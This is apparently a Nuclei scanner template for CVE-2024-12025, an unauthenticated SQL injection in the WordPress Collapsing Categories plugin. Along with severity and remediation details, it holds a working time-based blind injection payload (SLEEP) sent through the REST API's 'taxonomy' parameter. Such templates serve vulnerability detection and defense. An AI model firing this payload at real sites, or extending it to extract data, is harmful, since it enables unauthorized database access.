id: CVE-2024-12025

info:
  name: WordPress Collapsing Categories <= 3.0.8 - SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    Collapsing Categories plugin for WordPress <= 3.0.8 contains a sql_injection caused by insufficient escaping of 'taxonomy' parameter in /wp-json/collapsing-categories/v1/get REST API, letting unauthenticated attackers execute arbitrary SQL queries, exploit requires sending crafted 'taxonomy' parameter.
  impact: |
    Attackers can execute arbitrary SQL queries, potentially leading to data leakage or database compromise.
  remediation: |
    Update to the latest version of the plugin that addresses this vulnerability or apply security patches provided by the vendor.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/collapsing-categories/collapsing-categories-308-unauthenticated-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12025
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-12025
    epss-score: 0.80562
    epss-percentile: 0.99157
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,collapsing-categories,vkev

http:
  - raw:
      - |
        @timeout: 20s
        GET /wp-json/collapsing-categories/v1/get?showPosts=1&taxonomy=category%27%29+AND+(SELECT+1+FROM+(SELECT(SLEEP(8)))a)--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains(body, "post_title")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 4a0a004730450220630ba16cd6f3a1e1331c35267f0345258b27d6bc26e08562be583a401ec2f3ac022100899950cd6fbc554e148f75ff2576ef62a4e8a44f0dc260b7be4111aef2974687:922c64590222798bb761d5b6d8e72950